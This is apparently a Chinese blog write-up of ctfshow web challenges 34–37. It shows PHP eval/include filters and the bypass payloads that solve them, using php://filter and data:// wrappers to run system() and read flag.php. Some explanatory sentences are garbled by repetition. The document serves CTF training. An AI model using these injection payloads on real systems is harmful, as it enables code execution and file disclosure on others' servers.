当前位置: 首页 > web >正文

CTFshow系列——命令执行web34-37

各位好久不见,也是歇了两周差不多,想想也是好久没写CTF的东西了,也是刚好练练手。不然九月各种重保和HVV要去参加,也是没时间写了。
接下来要是有时间的话我把自己的面试题整理一下,发出来给大家看看;

文章目录

    • Web34
    • Web35
    • Web36
    • Web37
    • 总结


Web34

好了,也是话不多说,直接上代码

<?phperror_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){eval($c);}}else{highlight_file(__FILE__);
}

可以发现跟Web33也是差不多的,那到底多了什么地方?对比一下,其实也就是个 : 的区别:
在这里插入图片描述
那么这么说,这里还是能用php伪协议呗:(跟上一关的payload一样)

# 直接上payload
?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
?c=include$_GET[1]?>&1=data://text/plain,<?php system("tac flag.php")?># 下面的需要查看源代码
?c=include$_GET[1]?>&1=data://text/plain,<?php system('head -n 20 flag.php');?>
?c=include$_GET[1]?>&1=data://text/plain,<?php system('tail -n 20 flag.php');?>
?c=include$_GET[1]?>&1=data://text/plain,<?php system('less flag.php');?>
?c=include$_GET[1]?>&1=data://text/plain,<?php system('more flag.php');?>

所以也是得到flag:
在这里插入图片描述

ctfshow{09ed7dbb-839f-4fb3-83ba-d8a0916cdec9}

Web35

<?phperror_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){eval($c);}}else{highlight_file(__FILE__);
}

还是老样子,对比发现,增加了对 <= 的过滤:
在这里插入图片描述

好像没什么用哈哈,payload继续同上;

Web36

期待这一题会新颖一点:

<?phperror_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){eval($c);}}else{highlight_file(__FILE__);
}

哎,看起来多了点东西;

在这里插入图片描述
看来还增加了对 \ 和数字 [0-9] 的过滤,那接下来我们要想什么方法进行绕过呢?

  1. 将include$_GET[1]?的参数改为字母;
  2. 还可以尝试POST型

这里主要尝试一下POST型的payload:首先F12——>打开Hackbar:

# POST型
?c=include$_GET[abc]?>
abc=php://filter/read=convert.base64-encode/resource=flag.php# GET型
?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
?c=include$_GET[1]?>&1=data://text/plain,<?php system("tac flag.php")?>

在这里插入图片描述
然后execute一下,也是可以看到base64编码的结果:那么上几关应该也是可以的

在这里插入图片描述
解码一下结果,也是得到flag:
在这里插入图片描述

Web37

还是期待有新的不一样:

<?php//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag/i", $c)){include($c);echo $flag;}}else{highlight_file(__FILE__);
}

唉,有的兄弟,还是有的。

这里我们不知道代码是什么意思,丢进AI里问一下:

答: 这道 CTF 题目的核心是绕过正则过滤,通过include()函数读取flag.php中的内容

过滤了flag ,又是 include 文件包含,利用伪协议读flag,payload同上 … . … 吗?

# 尝试一下
?c=include$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php
?c=include$_GET[a]?>&a=data://text/plain,<?php system("tac flag.php")?>

发现无论是页面还是源代码都没有反应,这怎么办呢?
答: 这个时候data还可以将内容进行base64编码:

# bash
?c=data://text/plain;base64,PD9waHAgCnN5c3RlbSgidGFjIGZsYWcucGhwIikKPz4=
?c=data://text/plain,<?php system('cat fla?.php');?>
?c=data://text/plain,<?php system('tac fla*');?>

在这里插入图片描述

看来这道题目跟前面还是有点不一样的:

对比一下38关与前面几关的区别:

  1. 前几关(?c=include$_GET[1]?>&1=...)的核心作用是:在c中手动构造include逻辑,将恶意代码拆分到另一个参数(1)中。这是因为它们的执行逻辑是eval(c中手动构造include逻辑,将恶意代码拆分到另一个参数(1)中。这是因为它们的执行逻辑是eval(c中手动构造include逻辑,将恶意代码拆分到另一个参数(1)中。这是因为它们的执行逻辑是eval(c)
  2. 而本关核心执行逻辑是include($c)——代码本身已经自带了include操作。当我们传递?c=data://text/plain,<?php ... ?>时,include(c)会直接解析c)会直接解析c)会直接解析c的值(这里是data://伪协议内容),相当于自动执行了 “包含并运行代码” 的操作

总结

今天先写到这里,之后我会慢慢把ctfshow的所有CTF题目写出来(毕竟600块的会员不能白花是不是—心碎,太贵了)
在这里插入图片描述

http://www.xdnf.cn/news/18365.html

相关文章:

  • 深入理解抽象类
  • 08.5【C++ 初阶】实现一个相对完整的日期类--附带源码
  • 《算法导论》第 31 章 - 数论算法
  • AI驱动的SEO关键词优化秘籍
  • DAY 50 预训练模型+CBAM模块
  • RabbitMQ:SpringAMQP 多消费者绑定同一队列
  • .net core web程序如何设置redis预热?
  • 借助AI将infoNES移植到HarmonyOS平台的详细方案介绍
  • 基于SpringBoot+Vue的养老院管理系统的设计与实现 智能养老系统 养老架构管理 养老小程序
  • NestJS @Inject 装饰器入门教程
  • Go语言中的优雅并发控制:通道信号量模式详解
  • MVC、MVP、MVCC 和 MVI 架构的介绍及区别对比
  • 决策树二-泰坦尼克号幸存者
  • Unity常用工具及默认快捷键
  • 视觉测试:确保应用界面一致性
  • 牛客面经 - 2025/8/19
  • 深入理解Redis持久化:让你的数据永不丢失
  • Android Studio常用知识总结
  • 技术攻坚全链铸盾 锁定12月济南第26届食品农产品安全高峰论坛
  • 上网行为管理-内容审计
  • 效果图只是起点:深挖3D可视化在家装建筑中的隐藏金矿
  • Leetcode 3654. Minimum Sum After Divisible Sum Deletions
  • DL00291-联邦学习以去中心化锂离子电池健康预测模型完整实现
  • el-input 重写带图标密码框(点击小眼睛显示、隐藏密码)
  • 当MySQL的int不够用了
  • 【教程】在 VMware Windows 虚拟机中使用 WinPE 进行离线密码重置或取证操作
  • 玛雅预言的技术性解构:历法算法、量子共振与文明预警机制
  • mongodb学习
  • Rust 入门 返回值和错误处理 (二十)
  • 编译器错误消息: CS0016: 未能写入输出文件“c:\Windows\Microsoft.NET... 拒绝访问